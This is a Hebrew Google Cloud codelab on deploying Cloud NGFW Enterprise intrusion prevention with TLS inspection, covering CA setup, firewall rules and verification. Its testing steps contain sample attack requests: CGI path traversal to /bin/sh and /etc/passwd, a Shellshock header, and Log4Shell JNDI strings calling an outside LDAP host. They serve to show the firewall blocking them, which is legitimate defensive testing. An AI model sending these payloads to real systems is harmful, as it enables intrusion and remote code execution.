Cloud NGFW Enterprise Codelab [עם בדיקת TLS]

1. מבוא

Cloud Next Generation Firewall (NGFW)

‫Cloud Next Generation Firewall הוא שירות חומת אש מבוזר לחלוטין עם יכולות הגנה מתקדמות, מיקרו-סגמנטציה וכיסוי נרחב כדי להגן על עומסי העבודה ב-Google Cloud מפני התקפות פנימיות וחיצוניות.

אלה היתרונות של Cloud NGFW:

  • שירות חומת אש מבוזרת: Cloud NGFW מספק אכיפה מבוססת-מארח, עם שמירת מצב (stateful) ומבוזרת באופן מלא, בכל עומס עבודה, כדי לאפשר ארכיטקטורת אבטחה של אפס אמון.
  • הגדרה ופריסה פשוטות: Cloud NGFW מיישם מדיניות חומת אש ברשת ובהיררכיה, שאפשר לצרף לצומת בהיררכיית המשאבים. כללי המדיניות האלה מספקים חוויית שימוש עקבית בחומת האש בכל היררכיית המשאבים של Google Cloud.
  • שליטה פרטנית ומיקרו-סגמנטציה: השילוב של כללי מדיניות של חומת אש ותגים שמנוהלים באמצעות ניהול זהויות והרשאות גישה (IAM) מאפשר שליטה מדויקת בתעבורת הנתונים מצפון לדרום וממזרח למערב, עד לרמת מכונה וירטואלית אחת, ברשתות VPC ובארגונים.

‫Cloud NGFW זמין ברמות הבאות:

  • Cloud Next Generation Firewall Essentials
  • ‫Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

‫Cloud NGFW Enterprise מוסיף את השירות למניעת חדירות (IPS) ואת היכולות האופציונליות של סביבה מתקדמת לבדיקת תוכנות זדוניות (WildFire), שהם שירותי בדיקה של שכבה 7, למארג המבוזר של Google Cloud Firewall. יש תמיכה בבדיקת TLS כדי לאפשר בדיקה מעמיקה וניתוח קבצים של תנועה מוצפנת ב-TLS.

עכשיו אתם יכולים לפרוס בדיקות אמינות של חומת אש מהדור הבא (NGFW) בשכבה 7 עם אמצעי בקרה מפורטים, בלי לבצע שינויים בארכיטקטורת הרשת או בהגדרות הניתוב.

כדי להפעיל ולפרוס את בקרת חומת האש בשכבה 7 עם IPS וסביבה מתקדמת אופציונלית לבדיקת תוכנות זדוניות, צריך לבצע את המשימות הבאות:

  • יוצרים קבוצה של נקודות קצה מנוהלות של חומת אש אזורית ב-Google Cloud (אפשר גם להפעיל את הסביבה המתקדמת לבדיקת תוכנות זדוניות).
  • אם רוצים, יוצרים מדיניות בדיקת TLS.
  • אם רוצים, יוצרים הגדרת אמון.
  • משייכים את נקודות הקצה האלה לרשתות של הענן הווירטואלי הפרטי (VPC) שבהן אתם צריכים את השירות Cloud NGFW Enterprise.
  • אתם יכולים לבצע שינויים פשוטים במדיניות חומת האש ובכללי חומת האש הקיימים כדי לציין את פרופילי האבטחה למניעת איומים ולסביבה מתקדמת לבדיקת תוכנות זדוניות (אופציונלי) לנתיבי תעבורת הנתונים השונים.

מדיניות חומת אש ברשת

מדיניות חומת האש של הרשת פועלת כקונטיינר לכללי חומת האש. כללים שמוגדרים במדיניות חומת אש ברשת לא נאכפים בשום מקום עד שהמדיניות משויכת לרשת VPC. לכל רשת VPC יכולה להיות מדיניות אחת של חומת אש שמשויכת אליה. כללי מדיניות של חומת אש ברשת תומכים בתגים שכפופים ל-IAM (או רק בתגים) בכללי חומת האש, שמחליפים את תגי הרשת הנוכחיים ויכולים לשמש כדי לספק זהות לעומס העבודה.

שיתוף של מדיניות חומת אש בין רשתות והשילוב עם תגים שכפופים ל-IAM מפשטים מאוד את ההגדרה והניהול של חומות האש.

עם ההשקה של מדיניות חומת אש ברשת, כללי המדיניות של חומת האש ב-Google Cloud כוללים עכשיו את הרכיבים הבאים:

  1. מדיניות חומת אש היררכית
  2. כללים של חומת אש ב-VPC
  3. מדיניות חומת אש בין רשתות ( גלובלית ואזורית)

מדיניות חומת אש היררכיות נתמכות בצומתי הארגון והתיקייה בהיררכיית המשאבים, ואילו כללי חומת אש של VPC ומדיניות חומת אש של הרשת חלים ברמת ה-VPC. הבדל גדול בין כללי חומת אש של VPC לבין מדיניות חומת אש ברשת הוא שאפשר להחיל כללי חומת אש של VPC רק על רשת VPC אחת, ואילו מדיניות חומת אש ברשת אפשר לחבר ל-VPC אחד או לקבוצה של רשתות VPC, בין יתרונות אחרים כמו חבילת עדכונים.

לבסוף, יש גם את כללי חומת האש המשתמעים שמגיעים עם כל רשת VPC:

  • כלל תעבורת נתונים יוצאת שהפעולה שלו היא allow, והיעד הוא 0.0.0.0/0
  • כלל תעבורת נתונים נכנסת שהפעולה שלו היא דחייה, והמקור הוא 0.0.0.0/0

כברירת מחדל, רצף האכיפה מוצג בתרשים הבא:

21b3bcabc469ffe.png

שימו לב שאפשר להחליף את סדר האכיפה בין הכללים של חומת האש ב-VPC לבין מדיניות חומת האש של הרשת הגלובלית. הלקוחות יכולים לציין את סדר האכיפה בכל שלב באמצעות פקודת gcloud.

תגים

התגים החדשים שמשולבים בכללי מדיניות חומת האש ברשת הם משאבים של צמדי מפתח/ערך שמוגדרים ברמת הארגון או ברמת הפרויקט בהיררכיית המשאבים של Google Cloud. תג כזה מכיל אמצעי בקרת גישה של IAM שמציינים מי יכול לעשות מה בתג. לדוגמה, הרשאות ניהול זהויות והרשאות גישה (IAM) מאפשרות לציין אילו חשבונות משתמשים יכולים להקצות ערכים לתגים, ואילו חשבונות משתמשים יכולים לצרף תגים למשאבים. אם כלל של חומת אש ברשת מפנה לתג, צריך להחיל אותו על משאב כדי לאכוף אותו.

התגים פועלים לפי מודל המשאבים של Google Cloud, שבו המשאבים יורשים את התגים והערכים שלהם מההורים שלהם בהיררכיה. כתוצאה מכך, אפשר ליצור תגים במקום אחד ואז להשתמש בהם בתיקיות ובפרויקטים אחרים בכל היררכיית המשאבים. בדף הזה מפורט מידע נוסף על תגים והגבלת גישה.

חשוב לא להתבלבל בין תגים לבין תגי רשת. האחרונים הם מחרוזות שאפשר להוסיף למכונות של Compute Engine. הם משויכים למכונה ונעלמים כשהמכונה מושבתת. כללי חומת האש של VPC יכולים לכלול תגי רשת, אבל מכיוון שהם לא נחשבים למשאבי ענן, הם לא כפופים לבקרת הגישה של IAM.

שימו לב שבמסמך הזה אנחנו משתמשים לסירוגין במונחים "תגים" ו"תגים שמנוהלים על ידי IAM".

מה תפתחו

כדי להשתתף ב-Codelab הזה, צריך פרויקט אחד ויכולת ליצור רשת VPC ולנהל כמה משאבי רשת ואבטחה. ב-Codelab נסביר איך Cloud NGFW Enterprise יכול לספק פונקציונליות של IPS וסביבה מתקדמת לבדיקת תוכנות זדוניות (WildFire) באמצעות:

  • בדיקת תעבורת נתונים באינטרנט לכיוון צפון באמצעות בדיקת TLS
  • בדיקת תנועה בתוך ה-VPC [מזרח-מערב] עם בדיקת TLS
  • [אופציונלי] הגדרה ואימות של שליחת קבצים וניתוח פורנזי של איומים לא ידועים שמבוססים על קבצים בתנועה שנבדקה באמצעות TLS בסביבה מתקדמת לבדיקת תוכנות זדוניות

הזרימות שייבדקו ייבחרו באמצעות פרמטרים תואמים של Cloud Firewall, כולל 5-tuple (כתובת IP של המקור, כתובת IP של היעד, פרוטוקול, יציאת המקור, יציאת היעד) ותגים.

3d0f288d3b92a295.png

המצב הסופי של בסיס הכללים של מדיניות חומת האש ברשת יהיה דומה לטבלה הבאה:

עדיפות

כיוון

Target

מקור

יעד

פעולה

סוג

100

תעבורת נתונים נכנסת (Ingress)

Server_Tag

בדיקות תקינות

הכול

אישור

Essentials

200

תעבורת נתונים נכנסת (Ingress)

Client_Tag, Server_Tag

IAP

הכול

אישור

Essentials

800

תעבורת נתונים נכנסת (Ingress)

Server_Tag

10.0.0.0/24

10.0.0.0/24

בדיקת L7

Enterprise

850

תעבורת נתונים יוצאת (egress)

Client_Tag

הכול

10.0.0.0/24

אישור

Essentials

900

תעבורת נתונים יוצאת (egress)

Client_Tag

הכול

הכול

בדיקת L7

Enterprise

מה תלמדו

  • איך יוצרים מדיניות של חומת אש ברשת.
  • איך יוצרים תגים ומשתמשים בהם במדיניות חומת האש של הרשת.
  • איך מגדירים את Cloud NGFW Enterprise עם בדיקת TLS ומשתמשים בו.
  • [אופציונלי] איך מגדירים ומאמתים את הסביבה המתקדמת לבדיקת תוכנות זדוניות (WildFire) כדי לזהות איומים לא ידועים שמבוססים על קבצים.

מה תצטרכו

  • פרויקט ב-Google Cloud.
  • ידע בפריסת מכונות ובהגדרת רכיבי רשת.
  • ידע בהגדרת חומת אש של VPC.

‫2. לפני שמתחילים

יצירה או עדכון של משתנים

ב-Codelab הזה נשתמש במשתנים (‎ $variables) כדי להטמיע את הגדרת gcloud ב-Cloud Shell.

ב-Cloud Shell, מריצים את הפקודות הבאות ומחליפים את המידע שבסוגריים לפי הצורך:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

‫3. הפעלת ממשקי ה-API

אם עדיין לא הפעלתם את ממשקי ה-API, צריך להפעיל אותם:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. יצירת נקודת קצה ב-Cloud NGFW Enterprise

יצירת נקודת הקצה של Cloud NGFW Enterprise נמשכת כ-20 דקות, לכן היא תיווצר קודם ואפשר לבצע את ההגדרה הבסיסית במקביל ליצירת נקודת הקצה.

יוצרים את פרופיל האבטחה ואת קבוצת פרופילי האבטחה:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

הפלט אמור להיראות כך:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

מוודאים שהמשאבים נוצרו:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

הפלט אמור להיראות כך (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבו משתמשים):

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

יוצרים את נקודת הקצה של Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

מריצים את הפקודה הבאה כדי לוודא שנקודת הקצה נוצרת (CREATING), או שהיא ACTIVE אם השתמשתם ב---no-async.

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

הפלט אמור להיראות כך (שימו לב שהפורמט של הפלט עשוי להשתנות בהתאם ללקוח שבו משתמשים):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

אם רוצים, אפשר להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

תהליך היצירה נמשך כ-20 דקות. עוברים לקטע "הגדרה בסיסית" כדי ליצור את המשאבים הנדרשים במקביל.

5. הגדרה בסיסית

רשת VPC ותת-רשת

רשת VPC ותת-רשת

יוצרים את רשת ה-VPC ואת רשת המשנה:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

יוצרים את Cloud Router ואת שער Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

קולאז' מתמונה

יוצרים את המכונות של הלקוח ושל שרת האינטרנט:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

תגים ברמת הפרויקט

מקצים למשתמש את ההרשאה tagAdmin אם צריך:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

יוצרים את המַפְתח והערכים של התג ברמת הפרויקט:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

מקשרים את התגים למכונות:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

מדיניות חומת אש בין רשתות גלובליות

יוצרים מדיניות חומת אש בין רשתות גלובליות:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

יוצרים את הכללים הנדרשים של Cloud Firewall Essential כדי לאפשר תעבורת נתונים מהטווחים של בדיקת תקינות ושרת proxy לאימות זהויות (IAP):

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

יוצרים את הכללים הנדרשים של Cloud Firewall כדי לאפשר תעבורת נתונים נכנסת ממזרח למערב או בתוך רשת המשנה מהטווחים הספציפיים (הכללים האלה יעודכנו כדי להפעיל את Cloud NGFW Enterprise עם בדיקת TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

משייכים את מדיניות חומת האש בענן לרשת ה-VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Cloud Firewall Endpoint Association

מגדירים את משתני הסביבה, אם עדיין לא עשיתם את זה או אם אתם מעדיפים את גישת הסקריפט.

מוודאים שנקודת הקצה של Cloud Firewall נוצרה בהצלחה. ממשיכים רק כשהמצב שמוצג הוא ACTIVE (במהלך היצירה המצב הצפוי הוא CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

הפלט אמור להיראות כך (שימו לב שהפורמט של הפלט עשוי להשתנות בהתאם ללקוח שבו משתמשים):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

אם רוצים, אפשר להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

משייכים את נקודת הקצה של Cloud Firewall לרשת ה-VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

תהליך השיוך נמשך כ-10 דקות. עוברים לקטע TLS רק כשהסטטוס הוא ACTIVE (במהלך היצירה הסטטוס הצפוי הוא CREATING):

gcloud network-security firewall-endpoint-associations list

הפלט הצפוי בסיום:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

אם רוצים, אפשר להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. הגדרת משאבי TLS

יוצרים מאגר CA. המשאב הזה ישמש לאחסון אישור ה-CA הבסיסי שנוצר בשביל NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

יוצרים את רשות אישורי הבסיס. זהו אישור ה-CA שישמש לחתימה על אישורים נוספים לבקשות דרך NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

אם מופיעה ההודעה הבאה, עונים y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

יוצרים חשבון שירות. חשבון השירות הזה ישמש לבקשת אישורים ל-NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

מגדירים את ההרשאות של חשבון השירות ב-IAM:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

יוצרים את קובץ ה-YAML של מדיניות ה-TLS. הקובץ הזה יכיל מידע על המשאבים הספציפיים:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

מייבאים את מדיניות בדיקת ה-TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

מעדכנים את השיוך של נקודת הקצה כדי להפעיל את TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

משיגים את אישור ה-CA ומוסיפים אותו למאגר ה-CA של הלקוח:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

מעבירים את אישור ה-CA ללקוח:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

מתחברים ב-SSH למכונה הווירטואלית, מעבירים את אישור ה-CA אל ‎/usr/local/share/ca-certificates ומעדכנים את מאגר ה-CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

יוצאים בחזרה אל Cloud Shell.

תהליך החתימה על אישור השרת:

ב-Cloud Shell, מתקינים את ספריית הקריפטוגרפיה של Pyca באמצעות הפקודה pip:

pip install --user "cryptography>=2.2.0"

כדי לאפשר ל-Google Cloud SDK להשתמש בספריית הקריפטוגרפיה Pyca, צריך להפעיל חבילות אתרים.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

יוצרים את אישור השרת:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

הפעולה הזו תיצור קובץ cert.pem וקובץ key.pem ב-Cloud Shell. בשלב הבא, מעבירים את האישור והמפתח לשרת.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

מבצעים SSH לשרת כדי לעדכן את פרטי האישור של Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

מעבירים את האישור והמפתח לתיקייה ספציפית:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

מעדכנים את הגדרת ה-SSL כדי להשתמש באישור החתום:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

מפעילים מחדש את Apache:

sudo systemctl restart apache2

מאמתים את הסטטוס של Apache:

sudo systemctl status apache2

הוא צריך להיות פעיל (פועל).

יוצאים מה-VM וממשיכים ב-Cloud Shell.

8. אימות הקישוריות לכיוון צפון ולכיוון מזרח/מערב

מריצים את הפקודות הבאות ב-Cloud Shell ורושמים את כתובות ה-IP לשימוש:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

פותחים כרטיסייה חדשה ויוצרים חיבור SSH למכונה הווירטואלית של הלקוח באמצעות IAP (צריך להגדיר את המשתנים בכרטיסייה החדשה):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

מריצים את הפקודות הבאות ורושמים את כתובות ה-IP לטירגוט שבהן רוצים להשתמש. יוצרים את המשתנים שמחליפים את הערכים בסוגריים בכתובות ה-IP שצוינו בשלב הקודם, ומוודאים שאפשר להגיע אליהן:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

מבצעים Curl לכתובת ה-IP הפרטית ומוודאים שאפשר להגיע אליה:

curl https://$target_privateip --max-time 2

התוצאות הצפויות לבקשת ה-curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

שליחת מתקפות לדוגמה לכתובת ה-IP. שרת האינטרנט צריך להגיב לכל הבקשות, כדי לוודא שאין בדיקה או מניעה של שכבה 7:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

תוצאות לדוגמה (כתובת IP פרטית):

400
404
400
200
200

באופן דומה, שולחים בקשות ליעד באינטרנט:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

תוצאות צפויות לדוגמה (יעד באינטרנט):

400
404
400
403
403

יוצאים מהטרמינל של ה-VM וחוזרים ל-Cloud Shell.

9. יצירה ועדכון של כללים לחומת האש לבדיקת TLS

בעבר הגדרנו כלל של חומת אש שמאפשר תעבורת נתונים נכנסת (ingress) לשרת שלנו מתת-הרשת הפנימית. עכשיו נעדכן את כללי הכניסה הקיימים ונגדיר את הפעולה ל-apply_security_profile_group. כך מפעילים בדיקת E/W L7 עם TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

יוצרים כלל חדש לבדיקת L7 בכיוון צפון עם TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

יוצרים כלל חדש שמאפשר תעבורת נתונים יוצאת (EGRESS) למזרח/מערב כדי למנוע בדיקה כפולה.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

10. אימות של בדיקת TLS לכיוון צפון

עוברים חזרה לכרטיסייה של ה-VM של הלקוח או מתחברים שוב:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

שולחים את המתקפות לדוגמה ליעד באינטרנט:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

לא מתקבלות תשובות, כמו בפלט הצפוי שבהמשך, וזה מאשר שההתקפות לדוגמה נחסמות עכשיו:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

מגדירים את המשתנה לכתובת ה-IP של השרת מהשלב הקודם:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

שולחים בקשות TLS לדוגמה לשרת:

curl https://$target_privateip --max-time 2

הפלט אמור להיראות כך:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

למה הבקשה נכשלה? הסיבה לכך היא שחומת האש מקבלת מהשרת אישור לא מהימן. במקרה כזה, הוא יעביר אישור בחתימה עצמית בחזרה ללקוח. כדי להפעיל את האמון, אנחנו צריכים להוסיף את אישור ה-CA כחלק מהגדרת האמון.

חוזרים ל-Cloud Shell.

11. הגדרת Trust Config

